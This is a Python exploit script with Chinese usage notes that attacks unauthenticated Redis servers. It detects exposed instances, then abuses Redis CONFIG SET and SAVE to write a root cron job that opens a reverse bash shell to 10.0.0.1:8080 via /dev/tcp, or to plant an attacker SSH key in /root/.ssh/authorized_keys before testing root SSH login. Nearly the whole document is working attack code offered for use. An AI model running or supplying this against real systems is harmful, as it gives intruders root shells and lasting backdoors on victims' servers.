1 #!/usr/bin/python
2 import redis
3 import urlparse
4 import sys
5 import pexpect
6 import socket
7 from optparse import OptionParser
8
9
10 def verify(host, port=6379):
11 result = {}
12 #info
13 payload = "x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a"
14 s = socket.socket()
15 socket.setdefaulttimeout(20)
16 try:
17 print host
18 s.connect((host, port))
19 s.send(payload)
20 recvdata = s.recv(1024)
21 repr(recvdata)
22 if recvdata and 'redis_version' in recvdata:
23 result = {}
24 result['URL'] = host
25 result['Port'] = port
26 result['Data'] = recvdata
27 except:
28 pass
29 s.close()
30 return result
31
32
33 def shell_exploit(host, port=6379):
34 print host
35 try:
36 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
37 r.set(1, '
*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
')
38 r.config_set('dir','/var/spool/cron')
39 r.config_set('dbfilename','root')
40 r.save()
41 print "attack over, shell return"
42 except:
43 print "something wrong"
44 pass
45
46 def ssh_exploit(ssh_content, host, port=6379):
47 ssh_content = "
"+ssh_content+"
"
48 print host
49 try:
50 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
51 print ssh_content
52 r.set(1, ssh_content)
53 r.config_set('dir','/root/.ssh/')
54 r.config_set('dbfilename','authorized_keys')
55 r.save()
56 print "attack over, ssh authorized_keys write"
57 except:
58 print "something wrong"
59 pass
60
61 def check(host, filename, SSH_PORT=22):
62 print 'Check connecting...'
63 try:
64 ssh = pexpect.spawn('ssh -i %s root@%s -p %d' %(filename[:-4], host, SSH_PORT))
65 i = ssh.expect('[#$]',timeout=10)
66 if i == 0:
67 print "Success !"
68 else:
69 pass
70 except:
71 print "Failed to connect !"
72
73 def main():
74 parser = OptionParser()
75 parser.add_option("-f", "--file", dest="filename", help="ssh file", metavar="FILE")
76 parser.add_option("-u", "--url", dest="url", help="attack redis url")
77 parser.add_option("-m", "--mode", dest="mode", help="verify/exploit", default="verify")
78 parser.add_option("-p", "--port", dest="port", type="int", help="attack redis port,default:6379", default=6379)
79
80 (options, args) = parser.parse_args()
81
82 #host prepare
83 host = urlparse.urlparse(options.url).netloc
84 if host == "":host = options.url
85
86 #verify mode
87 if options.mode == "verify":
88 result = verify(host, options.port)
89 if result == {}:
90 print "nothing return"
91 else:
92 print result['URL'],":",result['Port'],"have redis infoleak
info:",result['Data']
93
94 #exploit mode
95 if options.mode == "exploit":
96 if options.filename == None:
97 #reutrn cmd shell exploit
98 shell_exploit(host, options.port)
99 return
100 else:
101 #ssh keygen exploit
102 print "ssh_key:",options.filename
103 file = open(options.filename, 'rb')
104 ssh_content = file.read()
105 file.close()
106 ssh_exploit(ssh_content, host, options.port)
107 #verify ssh-keygen success/fail
108 SSH_PORT = 22
109 check(host, options.filename, SSH_PORT)
110 return
111
112 if __name__ == "__main__":
113 main()
需要先安装个redis的第三方库,最好在linux下跑,win上跑还需要装pexpect,也没法验证ssh-keygen后门效果
脚本的使用方法是这样子的
verify验证方法:返回info信息
python exploit.py -u 123.56.192.188 -m verify
默认是使用verify方法
exploit方法:有两个,一个是shell反弹
python exploit.py -u 127.0.0.1 -m exploit
还有一个方法是留ssh公钥后门的方法
python exploit.py -u 127.0.0.1 -m exploit -f redis.pub
